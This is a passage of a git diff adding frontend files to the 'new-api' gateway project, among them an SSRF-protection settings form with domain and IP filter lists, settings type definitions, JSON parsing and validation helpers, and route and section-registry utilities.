+  'fetch_setting.ip_filter_mode': boolean
+  'fetch_setting.domain_list': string[]
+  'fetch_setting.ip_list': string[]
+  'fetch_setting.allowed_ports': number[]
+  'fetch_setting.apply_ip_filter_for_domain': boolean
+}
+
+type SSRFSectionProps = {
+  defaultValues: {
+    'fetch_setting.enable_ssrf_protection': boolean
+    'fetch_setting.allow_private_ip': boolean
+    'fetch_setting.domain_filter_mode': boolean
+    'fetch_setting.ip_filter_mode': boolean
+    'fetch_setting.domain_list': string[]
+    'fetch_setting.ip_list': string[]
+    'fetch_setting.allowed_ports': number[]
+    'fetch_setting.apply_ip_filter_for_domain': boolean
+  }
+}
+
+const splitLines = (value: string) =>
+  value
+    .split('\n')
+    .map((entry) => entry.trim())
+    .filter(Boolean)
+
+const parsePorts = (value: string) =>
+  value
+    .split(',')
+    .map((item) => Number.parseInt(item.trim(), 10))
+    .filter((port) => Number.isFinite(port))
+
+const buildFormDefaults = (
+  defaults: SSRFSectionProps['defaultValues']
+): SSRFFormInput => ({
+  fetch_setting: {
+    enable_ssrf_protection: defaults['fetch_setting.enable_ssrf_protection'],
+    allow_private_ip: defaults['fetch_setting.allow_private_ip'],
+    domain_filter_mode: defaults['fetch_setting.domain_filter_mode'],
+    ip_filter_mode: defaults['fetch_setting.ip_filter_mode'],
+    domain_list: defaults['fetch_setting.domain_list'].join('\n'),
+    ip_list: defaults['fetch_setting.ip_list'].join('\n'),
+    allowed_ports: defaults['fetch_setting.allowed_ports'].join(','),
+    apply_ip_filter_for_domain:
+      defaults['fetch_setting.apply_ip_filter_for_domain'],
+  },
+})
+
+const normalizeDefaults = (
+  defaults: SSRFSectionProps['defaultValues']
+): NormalizedSSRFValues => ({
+  'fetch_setting.enable_ssrf_protection':
+    defaults['fetch_setting.enable_ssrf_protection'],
+  'fetch_setting.allow_private_ip': defaults['fetch_setting.allow_private_ip'],
+  'fetch_setting.domain_filter_mode':
+    defaults['fetch_setting.domain_filter_mode'],
+  'fetch_setting.ip_filter_mode': defaults['fetch_setting.ip_filter_mode'],
+  'fetch_setting.domain_list': defaults['fetch_setting.domain_list'],
+  'fetch_setting.ip_list': defaults['fetch_setting.ip_list'],
+  'fetch_setting.allowed_ports': defaults['fetch_setting.allowed_ports'],
+  'fetch_setting.apply_ip_filter_for_domain':
+    defaults['fetch_setting.apply_ip_filter_for_domain'],
+})
+
+const normalizeFormValues = (values: SSRFFormValues): NormalizedSSRFValues => ({
+  'fetch_setting.enable_ssrf_protection':
+    values.fetch_setting.enable_ssrf_protection,
+  'fetch_setting.allow_private_ip': values.fetch_setting.allow_private_ip,
+  'fetch_setting.domain_filter_mode': values.fetch_setting.domain_filter_mode,
+  'fetch_setting.ip_filter_mode': values.fetch_setting.ip_filter_mode,
+  'fetch_setting.domain_list': splitLines(values.fetch_setting.domain_list),
+  'fetch_setting.ip_list': splitLines(values.fetch_setting.ip_list),
+  'fetch_setting.allowed_ports': parsePorts(values.fetch_setting.allowed_ports),
+  'fetch_setting.apply_ip_filter_for_domain':
+    values.fetch_setting.apply_ip_filter_for_domain,
+})
+
+const isEqual = (a: unknown, b: unknown) => {
+  if (Array.isArray(a) && Array.isArray(b)) {
+    return JSON.stringify(a) === JSON.stringify(b)
+  }
+  return a === b
+}
+
+export function SSRFSection({ defaultValues }: SSRFSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const baselineRef = useRef<NormalizedSSRFValues>(
+    normalizeDefaults(defaultValues)
+  )
+
+  const formDefaults = useMemo(
+    () => buildFormDefaults(defaultValues),
+    [defaultValues]
+  )
+
+  const form = useForm<SSRFFormInput, unknown, SSRFFormValues>({
+    resolver: zodResolver(ssrfSchema),
+    defaultValues: formDefaults,
+  })
+
+  useEffect(() => {
+    baselineRef.current = normalizeDefaults(defaultValues)
+    form.reset(buildFormDefaults(defaultValues))
+  }, [defaultValues, form])
+
+  const onSubmit = async (data: SSRFFormValues) => {
+    const normalized = normalizeFormValues(data)
+    const updates = (
+      Object.keys(normalized) as Array<keyof NormalizedSSRFValues>
+    ).filter((key) => !isEqual(normalized[key], baselineRef.current[key]))
+
+    if (updates.length === 0) {
+      toast.info(t('No changes to save'))
+      return
+    }
+
+    for (const key of updates) {
+      const value = normalized[key]
+      await updateOption.mutateAsync({
+        key,
+        value: Array.isArray(value) ? JSON.stringify(value) : value,
+      })
+    }
+
+    baselineRef.current = normalized
+  }
+
+  const domainFilterMode = form.watch('fetch_setting.domain_filter_mode')
+  const ipFilterMode = form.watch('fetch_setting.ip_filter_mode')
+
+  return (
+    <SettingsSection
+      title={t('SSRF Protection')}
+      description={t(
+        'Prevent server-side request forgery attacks by controlling outbound requests.'
+      )}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='fetch_setting.enable_ssrf_protection'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Enable SSRF Protection')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Prevent server-side request forgery attacks')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='fetch_setting.allow_private_ip'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Allow Private IPs')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Allow requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='fetch_setting.domain_filter_mode'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Domain Filter Mode')}</FormLabel>
+                <Select
+                  onValueChange={(value) => field.onChange(value === 'true')}
+                  value={field.value ? 'true' : 'false'}
+                >
+                  <FormControl>
+                    <SelectTrigger>
+                      <SelectValue />
+                    </SelectTrigger>
+                  </FormControl>
+                  <SelectContent>
+                    <SelectItem value='false'>
+                      {t('Blacklist (Block listed domains)')}
+                    </SelectItem>
+                    <SelectItem value='true'>
+                      {t('Whitelist (Only allow listed domains)')}
+                    </SelectItem>
+                  </SelectContent>
+                </Select>
+                <FormDescription>
+                  {t('Choose how to filter domains')}
+                </FormDescription>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='fetch_setting.domain_list'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>
+                  {t('Domain')}{' '}
+                  {domainFilterMode ? t('Whitelist') : t('Blacklist')}
+                </FormLabel>
+                <FormControl>
+                  <Textarea
+                    placeholder={t('example.com&#10;blocked-site.com')}
+                    rows={4}
+                    {...field}
+                  />
+                </FormControl>
+                <FormDescription>{t('One domain per line')}</FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='fetch_setting.ip_filter_mode'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('IP Filter Mode')}</FormLabel>
+                <Select
+                  onValueChange={(value) => field.onChange(value === 'true')}
+                  value={field.value ? 'true' : 'false'}
+                >
+                  <FormControl>
+                    <SelectTrigger>
+                      <SelectValue />
+                    </SelectTrigger>
+                  </FormControl>
+                  <SelectContent>
+                    <SelectItem value='false'>
+                      {t('Blacklist (Block listed IPs)')}
+                    </SelectItem>
+                    <SelectItem value='true'>
+                      {t('Whitelist (Only allow listed IPs)')}
+                    </SelectItem>
+                  </SelectContent>
+                </Select>
+                <FormDescription>
+                  {t('Choose how to filter IP addresses')}
+                </FormDescription>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='fetch_setting.ip_list'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>
+                  {t('IP')} {ipFilterMode ? t('Whitelist') : t('Blacklist')}
+                </FormLabel>
+                <FormControl>
+                  <Textarea
+                    placeholder={t('192.168.1.1&#10;10.0.0.0/8')}
+                    rows={4}
+                    {...field}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('One IP or CIDR range per line')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='fetch_setting.allowed_ports'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Allowed Ports')}</FormLabel>
+                <FormControl>
+                  <Input placeholder={t('80,443,8080')} {...field} />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Comma-separated list of allowed ports (empty = all ports)'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='fetch_setting.apply_ip_filter_for_domain'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Apply IP Filter to Resolved Domains')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Check resolved IPs against IP filters even when accessing by domain'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save SSRF settings')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/types.ts b/new-api/web/default/src/features/system-settings/types.ts
new file mode 100644
index 0000000..5c52547
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/types.ts
@@ -0,0 +1,340 @@
+export type SystemOption = {
+  key: string
+  value: string
+}
+
+export type SystemOptionKey = string
+
+export type SystemOptionsResponse = {
+  success: boolean
+  message: string
+  data: SystemOption[]
+}
+
+export type UpdateOptionRequest = {
+  key: string
+  value: string | boolean | number
+}
+
+export type UpdateOptionResponse = {
+  success: boolean
+  message: string
+}
+
+export type DeleteLogsResponse = {
+  success: boolean
+  message: string
+  data?: number
+}
+
+export type GeneralSettings = {
+  'theme.frontend': string
+  Notice: string
+  SystemName: string
+  Logo: string
+  Footer: string
+  About: string
+  HomePageContent: string
+  ServerAddress: string
+  'legal.user_agreement': string
+  'legal.privacy_policy': string
+  QuotaForNewUser: number
+  PreConsumedQuota: number
+  QuotaForInviter: number
+  QuotaForInvitee: number
+  TopUpLink: string
+  'general_setting.docs_link': string
+  'quota_setting.enable_free_model_pre_consume': boolean
+  QuotaPerUnit: number
+  USDExchangeRate: number
+  'general_setting.quota_display_type': string
+  'general_setting.custom_currency_symbol': string
+  'general_setting.custom_currency_exchange_rate': number
+  RetryTimes: number
+  DisplayInCurrencyEnabled: boolean
+  DisplayTokenStatEnabled: boolean
+  DefaultCollapseSidebar: boolean
+  DemoSiteEnabled: boolean
+  SelfUseModeEnabled: boolean
+  'checkin_setting.enabled': boolean
+  'checkin_setting.min_quota': number
+  'checkin_setting.max_quota': number
+  'channel_affinity_setting.enabled': boolean
+  'channel_affinity_setting.switch_on_success': boolean
+  'channel_affinity_setting.max_entries': number
+  'channel_affinity_setting.default_ttl_seconds': number
+  'channel_affinity_setting.rules': string
+}
+
+export type AuthSettings = {
+  PasswordLoginEnabled: boolean
+  PasswordRegisterEnabled: boolean
+  EmailVerificationEnabled: boolean
+  RegisterEnabled: boolean
+  EmailDomainRestrictionEnabled: boolean
+  EmailAliasRestrictionEnabled: boolean
+  EmailDomainWhitelist: string
+  GitHubOAuthEnabled: boolean
+  GitHubClientId: string
+  GitHubClientSecret: string
+  'discord.enabled': boolean
+  'discord.client_id': string
+  'discord.client_secret': string
+  'oidc.enabled': boolean
+  'oidc.client_id': string
+  'oidc.client_secret': string
+  'oidc.well_known': string
+  'oidc.authorization_endpoint': string
+  'oidc.token_endpoint': string
+  'oidc.user_info_endpoint': string
+  TelegramOAuthEnabled: boolean
+  TelegramBotToken: string
+  TelegramBotName: string
+  LinuxDOOAuthEnabled: boolean
+  LinuxDOClientId: string
+  LinuxDOClientSecret: string
+  LinuxDOMinimumTrustLevel: string
+  WeChatAuthEnabled: boolean
+  WeChatServerAddress: string
+  WeChatServerToken: string
+  WeChatAccountQRCodeImageURL: string
+  TurnstileCheckEnabled: boolean
+  TurnstileSiteKey: string
+  TurnstileSecretKey: string
+  'passkey.enabled': boolean
+  'passkey.rp_display_name': string
+  'passkey.rp_id': string
+  'passkey.origins': string
+  'passkey.allow_insecure_origin': boolean
+  'passkey.user_verification': 'required' | 'preferred' | 'discouraged'
+  'passkey.attachment_preference': '' | 'platform' | 'cross-platform'
+}
+
+export type ContentSettings = {
+  'console_setting.api_info': string
+  'console_setting.announcements': string
+  'console_setting.faq': string
+  'console_setting.uptime_kuma_groups': string
+  'console_setting.api_info_enabled': boolean
+  'console_setting.announcements_enabled': boolean
+  'console_setting.faq_enabled': boolean
+  'console_setting.uptime_kuma_enabled': boolean
+  DataExportEnabled: boolean
+  DataExportDefaultTime: string
+  DataExportInterval: number
+  Chats: string
+  DrawingEnabled: boolean
+  MjNotifyEnabled: boolean
+  MjAccountFilterEnabled: boolean
+  MjForwardUrlEnabled: boolean
+  MjModeClearEnabled: boolean
+  MjActionCheckSuccessEnabled: boolean
+}
+
+export type IntegrationSettings = {
+  SMTPServer: string
+  SMTPPort: string
+  SMTPAccount: string
+  SMTPFrom: string
+  SMTPToken: string
+  SMTPSSLEnabled: boolean
+  SMTPForceAuthLogin: boolean
+  WorkerUrl: string
+  WorkerValidKey: string
+  WorkerAllowHttpImageRequestEnabled: boolean
+  ChannelDisableThreshold: string
+  QuotaRemindThreshold: string
+  AutomaticDisableChannelEnabled: boolean
+  AutomaticEnableChannelEnabled: boolean
+  AutomaticDisableKeywords: string
+  AutomaticDisableStatusCodes: string
+  AutomaticRetryStatusCodes: string
+  'monitor_setting.auto_test_channel_enabled': boolean
+  'monitor_setting.auto_test_channel_minutes': number
+  'model_deployment.ionet.api_key': string
+  'model_deployment.ionet.enabled': boolean
+  PayAddress: string
+  EpayId: string
+  EpayKey: string
+  Price: number
+  MinTopUp: number
+  CustomCallbackAddress: string
+  PayMethods: string
+  'payment_setting.amount_options': string
+  'payment_setting.amount_discount': string
+  StripeApiSecret: string
+  StripeWebhookSecret: string
+  StripePriceId: string
+  StripeUnitPrice: number
+  StripeMinTopUp: number
+  StripePromotionCodesEnabled: boolean
+  CreemApiKey: string
+  CreemWebhookSecret: string
+  CreemTestMode: boolean
+  CreemProducts: string
+  WaffoEnabled: boolean
+  WaffoApiKey: string
+  WaffoPrivateKey: string
+  WaffoPublicCert: string
+  WaffoSandboxPublicCert: string
+  WaffoSandboxApiKey: string
+  WaffoSandboxPrivateKey: string
+  WaffoSandbox: boolean
+  WaffoMerchantId: string
+  WaffoCurrency: string
+  WaffoUnitPrice: number
+  WaffoMinTopUp: number
+  WaffoNotifyUrl: string
+  WaffoReturnUrl: string
+  WaffoPayMethods: string
+  WaffoPancakeEnabled: boolean
+  WaffoPancakeSandbox: boolean
+  WaffoPancakeMerchantID: string
+  WaffoPancakePrivateKey: string
+  WaffoPancakeWebhookPublicKey: string
+  WaffoPancakeWebhookTestKey: string
+  WaffoPancakeStoreID: string
+  WaffoPancakeProductID: string
+  WaffoPancakeReturnURL: string
+  WaffoPancakeCurrency: string
+  WaffoPancakeUnitPrice: number
+  WaffoPancakeMinTopUp: number
+}
+
+export type ModelSettings = {
+  'global.pass_through_request_enabled': boolean
+  'global.thinking_model_blacklist': string
+  'global.chat_completions_to_responses_policy': string
+  'general_setting.ping_interval_enabled': boolean
+  'general_setting.ping_interval_seconds': number
+  'gemini.safety_settings': string
+  'gemini.version_settings': string
+  'gemini.supported_imagine_models': string
+  'gemini.thinking_adapter_enabled': boolean
+  'gemini.thinking_adapter_budget_tokens_percentage': number
+  'gemini.function_call_thought_signature_enabled': boolean
+  'gemini.remove_function_response_id_enabled': boolean
+  'claude.model_headers_settings': string
+  'claude.default_max_tokens': string
+  'claude.thinking_adapter_enabled': boolean
+  'claude.thinking_adapter_budget_tokens_percentage': number
+  'grok.violation_deduction_enabled': boolean
+  'grok.violation_deduction_amount': number
+  ModelPrice: string
+  ModelRatio: string
+  CacheRatio: string
+  CreateCacheRatio: string
+  CompletionRatio: string
+  ImageRatio: string
+  AudioRatio: string
+  AudioCompletionRatio: string
+  ExposeRatioEnabled: boolean
+  'billing_setting.billing_mode': string
+  'billing_setting.billing_expr': string
+  'tool_price_setting.prices': string
+  TopupGroupRatio: string
+  GroupRatio: string
+  UserUsableGroups: string
+  GroupGroupRatio: string
+  AutoGroups: string
+  DefaultUseAutoGroup: boolean
+  'group_ratio_setting.group_special_usable_group': string
+}
+
+export type MaintenanceSettings = {
+  Notice: string
+  LogConsumeEnabled: boolean
+  HeaderNavModules: string
+  SidebarModulesAdmin: string
+  'performance_setting.disk_cache_enabled': boolean
+  'performance_setting.disk_cache_threshold_mb': number
+  'performance_setting.disk_cache_max_size_mb': number
+  'performance_setting.disk_cache_path': string
+  'performance_setting.monitor_enabled': boolean
+  'performance_setting.monitor_cpu_threshold': number
+  'performance_setting.monitor_memory_threshold': number
+  'performance_setting.monitor_disk_threshold': number
+}
+
+export type RequestLimitsSettings = {
+  ModelRequestRateLimitEnabled: boolean
+  ModelRequestRateLimitCount: number
+  ModelRequestRateLimitSuccessCount: number
+  ModelRequestRateLimitDurationMinutes: number
+  ModelRequestRateLimitGroup: string
+  CheckSensitiveEnabled: boolean
+  CheckSensitiveOnPromptEnabled: boolean
+  SensitiveWords: string
+  'fetch_setting.enable_ssrf_protection': boolean
+  'fetch_setting.allow_private_ip': boolean
+  'fetch_setting.domain_filter_mode': boolean
+  'fetch_setting.ip_filter_mode': boolean
+  'fetch_setting.domain_list': string[]
+  'fetch_setting.ip_list': string[]
+  'fetch_setting.allowed_ports': number[]
+  'fetch_setting.apply_ip_filter_for_domain': boolean
+}
+
+export type UpstreamChannel = {
+  id: number
+  name: string
+  base_url: string
+  status: number
+  type?: number
+}
+
+export type RatioType =
+  | 'model_ratio'
+  | 'completion_ratio'
+  | 'cache_ratio'
+  | 'create_cache_ratio'
+  | 'image_ratio'
+  | 'audio_ratio'
+  | 'audio_completion_ratio'
+  | 'model_price'
+  | 'billing_mode'
+  | 'billing_expr'
+
+export type RatioDifference = {
+  current: number | string | null
+  upstreams: Record<string, number | string | 'same'>
+  confidence: Record<string, boolean>
+}
+
+export type DifferencesMap = Record<
+  string,
+  Partial<Record<RatioType, RatioDifference>>
+>
+
+export type UpstreamChannelsResponse = {
+  success: boolean
+  message: string
+  data: UpstreamChannel[]
+}
+
+export type UpstreamConfig = {
+  id: number
+  name: string
+  base_url: string
+  endpoint: string
+}
+
+export type FetchUpstreamRatiosRequest = {
+  upstreams: UpstreamConfig[]
+  timeout: number
+}
+
+export type TestResult = {
+  name: string
+  status: 'success' | 'error'
+  error?: string
+}
+
+export type UpstreamRatiosResponse = {
+  success: boolean
+  message: string
+  data: {
+    differences: DifferencesMap
+    test_results: TestResult[]
+  }
+}
diff --git a/new-api/web/default/src/features/system-settings/utils/json-parser.ts b/new-api/web/default/src/features/system-settings/utils/json-parser.ts
new file mode 100644
index 0000000..63b4105
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/utils/json-parser.ts
@@ -0,0 +1,167 @@
+export type JsonParseResult<T> =
+  | { success: true; data: T }
+  | { success: false; error: string }
+
+export interface SafeJsonParseOptions<T> {
+  fallback?: T
+  silent?: boolean
+  context?: string
+}
+
+export interface SafeJsonParseWithValidationOptions<T> {
+  fallback: T
+  validator: (data: unknown) => data is T
+  validatorMessage?: string
+  context?: string
+  silent?: boolean
+}
+
+interface JsonErrorPosition {
+  line?: number
+  column?: number
+  position?: number
+}
+
+function extractErrorPosition(
+  error: unknown,
+  jsonString: string
+): JsonErrorPosition {
+  if (!(error instanceof Error)) return {}
+
+  const message = error.message
+
+  // Try to extract position from error message
+  // Format 1: "Unexpected token } in JSON at position 15"
+  const positionMatch = message.match(/at position (\d+)/i)
+  if (positionMatch) {
+    const position = parseInt(positionMatch[1], 10)
+    const { line, column } = getLineAndColumn(jsonString, position)
+    return { line, column, position }
+  }
+
+  // Format 2: "JSON.parse: ... at line 2 column 3"
+  const lineColMatch = message.match(/at line (\d+) column (\d+)/i)
+  if (lineColMatch) {
+    return {
+      line: parseInt(lineColMatch[1], 10),
+      column: parseInt(lineColMatch[2], 10),
+    }
+  }
+
+  return {}
+}
+
+function getLineAndColumn(
+  text: string,
+  position: number
+): { line: number; column: number } {
+  const lines = text.substring(0, position).split('\n')
+  return {
+    line: lines.length,
+    column: lines[lines.length - 1].length + 1,
+  }
+}
+
+function formatErrorDescription(
+  error: unknown,
+  jsonString: string
+): string | undefined {
+  if (!(error instanceof Error)) return undefined
+
+  const position = extractErrorPosition(error, jsonString)
+  const message = error.message
+
+  // Check if it's a "missing comma" type error
+  const isMissingCommaError =
+    message.includes("Expected ','") ||
+    message.includes('Expected property name') ||
+    message.includes('Unexpected string')
+
+  if (position.line && position.column) {
+    let hint = ''
+    if (isMissingCommaError && position.line > 1) {
+      hint = ` (check line ${position.line - 1} for missing comma)`
+    }
+    return `Error at line ${position.line}, column ${position.column}: ${message}${hint}`
+  }
+
+  if (position.position !== undefined) {
+    return `Error at position ${position.position}: ${message}`
+  }
+
+  return message
+}
+
+export function safeJsonParse<T = unknown>(
+  value: string | undefined | null,
+  options: SafeJsonParseOptions<T> = {}
+): T {
+  const { fallback, silent = false, context } = options
+
+  if (!value || value.trim() === '') {
+    return (fallback ?? null) as T
+  }
+
+  const trimmedValue = value.trim()
+
+  try {
+    return JSON.parse(trimmedValue) as T
+  } catch (error) {
+    // Log error for debugging in development
+    if (import.meta.env.DEV && !silent) {
+      const message = context
+        ? `Failed to parse ${context}`
+        : 'Invalid JSON format'
+      const description = formatErrorDescription(error, trimmedValue)
+      // eslint-disable-next-line no-console
+      console.error(`[JSON Parse Error] ${message}:`, description)
+    }
+    return (fallback ?? null) as T
+  }
+}
+
+export function safeJsonParseWithValidation<T>(
+  value: string | undefined | null,
+  options: SafeJsonParseWithValidationOptions<T>
+): T {
+  const {
+    fallback,
+    validator,
+    validatorMessage,
+    context,
+    silent = false,
+  } = options
+  const parsed = safeJsonParse(value, { fallback, silent: true, context })
+
+  if (!validator(parsed)) {
+    // Log error for debugging in development
+    if (import.meta.env.DEV && !silent) {
+      const message =
+        validatorMessage ??
+        (context ? `Invalid ${context} structure` : 'Invalid data structure')
+      // eslint-disable-next-line no-console
+      console.error(`[JSON Validation Error] ${message}`, { parsed })
+    }
+    return fallback
+  }
+
+  return parsed
+}
+
+export function tryJsonParse<T = unknown>(
+  value: string | undefined | null
+): JsonParseResult<T> {
+  if (!value || value.trim() === '') {
+    return { success: false, error: 'Empty value' }
+  }
+
+  try {
+    const data = JSON.parse(value.trim()) as T
+    return { success: true, data }
+  } catch (error) {
+    return {
+      success: false,
+      error: error instanceof Error ? error.message : 'Unknown error',
+    }
+  }
+}
diff --git a/new-api/web/default/src/features/system-settings/utils/json-validators.ts b/new-api/web/default/src/features/system-settings/utils/json-validators.ts
new file mode 100644
index 0000000..7ce9f39
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/utils/json-validators.ts
@@ -0,0 +1,35 @@
+export const isObjectRecord = (
+  data: unknown
+): data is Record<string, unknown> =>
+  typeof data === 'object' && data !== null && !Array.isArray(data)
+
+export const isArray = (data: unknown): data is unknown[] => Array.isArray(data)
+
+export const isStringArray = (data: unknown): data is string[] =>
+  Array.isArray(data) && data.every((item) => typeof item === 'string')
+
+export const isNumberArray = (data: unknown): data is number[] =>
+  Array.isArray(data) && data.every((item) => typeof item === 'number')
+
+export const isObjectArray = (
+  data: unknown
+): data is Record<string, unknown>[] =>
+  Array.isArray(data) && data.every((item) => isObjectRecord(item))
+
+export function createObjectValidator<T extends Record<string, unknown>>(
+  requiredKeys: (keyof T)[]
+): (data: unknown) => data is T {
+  return (data): data is T => {
+    if (!isObjectRecord(data)) return false
+    return requiredKeys.every((key) => key in data)
+  }
+}
+
+export function createArrayValidator<T>(
+  itemValidator: (item: unknown) => item is T
+): (data: unknown) => data is T[] {
+  return (data): data is T[] => {
+    if (!Array.isArray(data)) return false
+    return data.every(itemValidator)
+  }
+}
diff --git a/new-api/web/default/src/features/system-settings/utils/route-config.ts b/new-api/web/default/src/features/system-settings/utils/route-config.ts
new file mode 100644
index 0000000..7ad8268
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/utils/route-config.ts
@@ -0,0 +1,92 @@
+import * as z from 'zod'
+import { redirect } from '@tanstack/react-router'
+
+/**
+ * Create search schema for settings routes with section parameter
+ */
+export function createSectionSearchSchema<TSectionId extends string>(
+  sectionIds: readonly [TSectionId, ...TSectionId[]],
+  defaultSection: TSectionId
+) {
+  return z.object({
+    section: z
+      .enum(sectionIds as unknown as [string, ...string[]])
+      .optional()
+      .catch(defaultSection),
+  })
+}
+
+/**
+ * Configuration for creating a settings route config
+ */
+export type SettingsRouteConfigOptions<
+  TSectionId extends string,
+  TComponent = unknown,
+> = {
+  /** Section IDs array from section-registry */
+  sectionIds: readonly [TSectionId, ...TSectionId[]]
+  /** Default section ID */
+  defaultSection: TSectionId
+  /** Settings component to render */
+  component: TComponent
+  /** Route path for redirect (e.g., '/system-settings/general') */
+  routePath: string
+  /** Whether to redirect to default section if no section is provided (default: false) */
+  redirectToDefault?: boolean
+}
+
+/**
+ * Create a settings route configuration with common setup
+ * This abstracts the repetitive pattern of:
+ * - Creating search schema
+ * - Setting up validateSearch
+ * - Optionally redirecting to default section
+ *
+ * @example
+ * ```tsx
+ * export const Route = createFileRoute('/_authenticated/system-settings/general')(
+ *   createSettingsRouteConfig({
+ *     sectionIds: GENERAL_SECTION_IDS,
+ *     defaultSection: GENERAL_DEFAULT_SECTION,
+ *     component: GeneralSettings,
+ *     routePath: '/system-settings/general',
+ *     redirectToDefault: true,
+ *   })
+ * )
+ * ```
+ */
+export function createSettingsRouteConfig<
+  TSectionId extends string,
+  TComponent = unknown,
+>(options: SettingsRouteConfigOptions<TSectionId, TComponent>) {
+  const {
+    sectionIds,
+    defaultSection,
+    component,
+    routePath,
+    redirectToDefault = false,
+  } = options
+
+  const searchSchema = createSectionSearchSchema(sectionIds, defaultSection)
+
+  const routeConfig = {
+    validateSearch: searchSchema,
+    component,
+    ...(redirectToDefault && {
+      beforeLoad: ({
+        search,
+      }: {
+        search?: { section?: TSectionId | string }
+      }) => {
+        if (!search?.section) {
+          throw redirect({
+            to: routePath,
+            search: { section: defaultSection } as Record<string, unknown>,
+          })
+        }
+      },
+    }),
+  }
+
+  return routeConfig
+}
diff --git a/new-api/web/default/src/features/system-settings/utils/section-registry.ts b/new-api/web/default/src/features/system-settings/utils/section-registry.ts
new file mode 100644
index 0000000..8b2e220
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/utils/section-registry.ts
@@ -0,0 +1,78 @@
+import type { ReactNode } from 'react'
+import type { TFunction } from 'i18next'
+
+/**
+ * Section definition for settings pages
+ */
+export type SectionDefinition<TSettings, TExtraArgs extends unknown[] = []> = {
+  id: string
+  titleKey: string
+  descriptionKey: string
+  build: (settings: TSettings, ...extraArgs: TExtraArgs) => ReactNode
+}
+
+/**
+ * Section registry configuration
+ */
+export type SectionRegistryConfig<
+  TSectionId extends string,
+  TSettings,
+  TExtraArgs extends unknown[] = [],
+> = {
+  sections: readonly SectionDefinition<TSettings, TExtraArgs>[]
+  defaultSection: TSectionId
+  basePath: string
+  /** 'query' = `${basePath}?section=${id}`, 'path' = `${basePath}/${id}` */
+  urlStyle?: 'query' | 'path'
+}
+
+/**
+ * Create a section registry with helper functions
+ */
+export function createSectionRegistry<
+  TSectionId extends string,
+  TSettings,
+  TExtraArgs extends unknown[] = [],
+>(config: SectionRegistryConfig<TSectionId, TSettings, TExtraArgs>) {
+  const { sections, defaultSection, basePath, urlStyle = 'query' } = config
+
+  type SectionId = TSectionId
+
+  const sectionIds = sections.map((section) => section.id) as [
+    SectionId,
+    ...SectionId[],
+  ]
+
+  /**
+   * Get navigation items for sidebar
+   */
+  function getSectionNavItems(t: TFunction) {
+    return sections.map((section) => ({
+      title: t(section.titleKey),
+      url:
+        urlStyle === 'path'
+          ? `${basePath}/${section.id}`
+          : `${basePath}?section=${section.id}`,
+    }))
+  }
+
+  /**
+   * Get section content by section ID
+   */
+  function getSectionContent(
+    sectionId: SectionId,
+    settings: TSettings,
+    ...extraArgs: TExtraArgs
+  ) {
+    const section =
+      sections.find((item) => item.id === sectionId) ?? sections[0]
+    return section.build(settings, ...extraArgs)
+  }
+
+  return {
+    sectionIds,
+    defaultSection,
+    getSectionNavItems,
+    getSectionContent,
+  }
+}
diff --git a/new-api/web/default/src/features/usage-logs/components/columns/common-logs-columns.tsx b/new-api/web/default/src/features/usage-logs/components/columns/common-logs-columns.tsx
new file mode 100644
index 0000000..ee63468
--- /dev/null
+++ b/new-api/web/default/src/features/usage-logs/components/columns/common-logs-columns.tsx
@@ -0,0 +1,779 @@
+import { useState } from 'react'
+import { type ColumnDef } from '@tanstack/react-table'
+import { CircleAlert, Sparkles, KeyRound } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { formatBillingCurrencyFromUSD } from '@/lib/currency'
+import {
+  formatUseTime,
+  formatLogQuota,
+  formatTimestampToDate,
